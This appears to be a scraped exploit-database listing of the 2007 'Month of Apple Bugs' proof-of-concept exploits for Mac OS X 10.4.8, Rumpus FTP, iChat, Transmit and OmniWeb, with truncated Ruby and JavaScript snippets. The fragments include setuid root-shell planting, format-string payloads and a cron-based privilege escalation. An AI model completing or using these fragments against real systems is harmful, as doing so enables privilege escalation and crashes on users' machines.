Apple Mac OSX 10.4.8 - UserNotificationCenter Local Privilege Escalation

Apple Mac OSX 10.4.8 - UserNotificationCenter Local Privilege Escalation !/usr/bin/ruby Copyright c 2007 Kevin Finisterre Lance M. Havok All pwnage reserved. "Exploit" for MOAB-22-01-2007: All your crash are belong to us. require 'fileutils' bugselected = ARGV0 || 0.toi INPUTMANAGERURL =...

Rumpus 5.1 Local Privilege Escalation / Remote FTP LIST PoC Exploit

No description provided by source. !/usr/bin/ruby Copyright c Lance M. Havok lmh at info-pull.com Kevin Finisterre kflists at digitalmunition.com Proof of concept for issues described in MOAB-18-01-2007. require 'net/ftp' require 'socket' bugselected = ARGV0 || 0.toi targethost = ARGV1 ||...

Apple Mac OSX 10.4.8 - System Preferences Privilege Escalation

!/usr/bin/ruby Copyright c 2007 Kevin Finisterre Lance M. Havok All pwnage reserved. "Exploit" for MOAB-21-01-2007: OS X, making root shells easier each day. SHELLWRAP = 'int main system"/bin/sh -i"; return 0; ' SHELLPLANT = 'int main system"chown root: /tmp/shX; chmod 4755 /tmp/shX"; return 0; '...

Apple iChat 3.1.6 v441 aim:// URL Handler Format String Exploit PoC

Exploit for macOS platform in category dos / poc =================================================================== Apple iChat 3.1.6 v441 aim:// URL Handler Format String Exploit PoC =================================================================== MOAB-20-01-2007 function boom var str = '';...

Mac OS X 10.4.8 System Preferences Local Privilege Escalation Exploit

Exploit for macOS platform in category local exploits ===================================================================== Mac OS X 10.4.8 System Preferences Local Privilege Escalation Exploit ===================================================================== !/usr/bin/ruby Copyright c 2007...

MOAB-17-01-2007.rb.txt

!/usr/bin/ruby c Copyright 2006 Lance M. Havok Kevin Finisterre All pwnage reserved. Proof of concept for MOAB-17-01-2007 http://projects.info-pull.com/moab/MOAB-17-01-2007.html Originally reported to Apple by Kevin, on 08/02/2006. require 'socket' targetpath = ARGV0 || '/var/run/slpipc' slpsocke...

MOAB-18-01-2007.rb.txt

!/usr/bin/ruby Copyright c Lance M. Havok Keiv Finisterre Proof of concept for issues described in MOAB-18-01-2007. require 'net/ftp' require 'socket' bugselected = ARGV0 || 0.toi targethost = ARGV1 || "localhost" targetuser = ARGV2 || "anonymous" targetpass = ARGV3 || "rumproast" def listbugo...

Transmit.app 3.5.5 - 'ftps://' URL Handler Heap Buffer Overflow (PoC)

MOAB-19-01-2007 function boom var recipient = document.getElementById'testbox'; var str = ''; for var i = 0; i milw0rm.com 2007-01-20...

MOAB-15-01-2007.rb.txt

!/usr/bin/ruby Exploit for MOAB-15-01-2007 c 2006 LMH . Note: It's a generic exploit, you can use it over any binary writable which is set as root setuid by diskutil repair permissions. Simply change the path. Blame Apple for doing such a piece of and relying on flawed DAC. Line-noise: Jackass of...

Rumpus 5.1 Local Privilege Escalation / Remote FTP LIST PoC Exploit

Exploit for macOS platform in category local exploits =================================================================== Rumpus 5.1 Local Privilege Escalation / Remote FTP LIST PoC Exploit =================================================================== !/usr/bin/ruby Copyright c Lance M. Hav...

Rumpus 5.1 - Local Privilege Escalation Remote FTP LIST

Rumpus 5.1 - Local Privilege Escalation Remote FTP LIST !/usr/bin/ruby Copyright c Lance M. Havok Kevin Finisterre Proof of concept for issues described in MOAB-18-01-2007. require 'net/ftp' require 'socket' bugselected = ARGV0 || 0.toi targethost = ARGV1 || "localhost" targetuser = ARGV2 ||...

Rumpus 5.1 - Local Privilege Escalation / Remote FTP LIST

!/usr/bin/ruby Copyright c Lance M. Havok Kevin Finisterre Proof of concept for issues described in MOAB-18-01-2007. require 'net/ftp' require 'socket' bugselected = ARGV0 || 0.toi targethost = ARGV1 || "localhost" targetuser = ARGV2 || "anonymous" targetpass = ARGV3 || "rumproast" def listbugo...

Apple Mac OSX 10.4.8 - SLP Daemon Service Registration Buffer Overflow (PoC)

!/usr/bin/ruby c Copyright 2006 Lance M. Havok Kevin Finisterre All pwnage reserved. Proof of concept for MOAB-17-01-2007 http://projects.info-pull.com/moab/MOAB-17-01-2007.html Originally reported to Apple by Kevin, on 08/02/2006. require 'socket' targetpath = ARGV0 || '/var/run/slpipc' slpsocke...

MOAB-09-01-2007.rb.txt

!/usr/bin/ruby c 2006 LMH . require 'fileutils' require 'zlib' hdiutil = "/usr/bin/hdiutil" dmgname = ARGV0 || "MOAB-09-01-2007.dmg" dmgsize = ARGV1 || "200k" filesys = ARGV2 || "UFS" volname = "" 255.times do volname i = Kernel.rand62; i += i 10 ? 48 : i 36 ? 55 : 61 .chr end FileUtils.rmfdmgnam...

MOAB-05-01-2007_cron.rb.txt

!/usr/bin/ruby c 2006 LMH code from the other exploit, porting Kevin Finisterre crontab rock and roll Second exploit for MOAB-05-01-2007, uses crontab. much more simple than the other one. And works like a charm. require 'fileutils' EVILCOMMANDS = "rm...

DMA[2007-0109a] - 'Apple Finder Disk Image Volume Label Overflow / DoS'

DMA2007-0109a - 'Apple Finder Disk Image Volume Label Overflow / DoS' Author: Kevin Finisterre Vendors: http://www.apple.com Product: '= OSX 10.4 ?' References: http://www.digitalmunition.com/DMA2007-0109a.txt http://www.apple.com/macosx/features/finder/...

OmniWeb 5.5.1 Javascript alert() Remote Format String PoC

Exploit for macOS platform in category dos / poc ========================================================= OmniWeb 5.5.1 Javascript alert Remote Format String PoC ========================================================= MOAB-07-01-2007 / LMH / function boom var str = 'A'; while str.length...

MOAB-04-01-2007.rb.txt

!/usr/bin/ruby c 2006 LMH bug by Kevin Finisterre proof of concept for MOAB-04-01-2007 see http://projects.info-pull.com/moab/MOAB-04-01-2007.rb require 'socket' IPHOTOFEED = "\r\n" + "\r\n" + "\r\n" + "" + "A" 256 + "%x.%n.%n.%n.%n.%n\r\n" + "\r\n" + "In Gruber We Trust\r\n" +...

Apple Mac OSX 10.4.8 - DiskManagement BOM cron Local Privilege Escalation

Apple Mac OSX 10.4.8 - DiskManagement BOM cron Local Privilege Escalation !/usr/bin/ruby c 2006 LMH code from the other exploit, porting Kevin Finisterre crontab rock and roll Second exploit for MOAB-05-01-2007, uses crontab. much more simple than the other one. And works like a charm. require...

MOAB-03-01-2007.rb.txt

!/usr/bin/ruby c 2006 LMH Original scripting and POC by Aviv Raff http://aviv.raffon.net. Description: Exploit for MOAB-03-01-2007. If argument 'serve' is passed, it uses port 21 for running the fake FTP server required. HTTP server port can be modified but it's not recommended. Adjust as...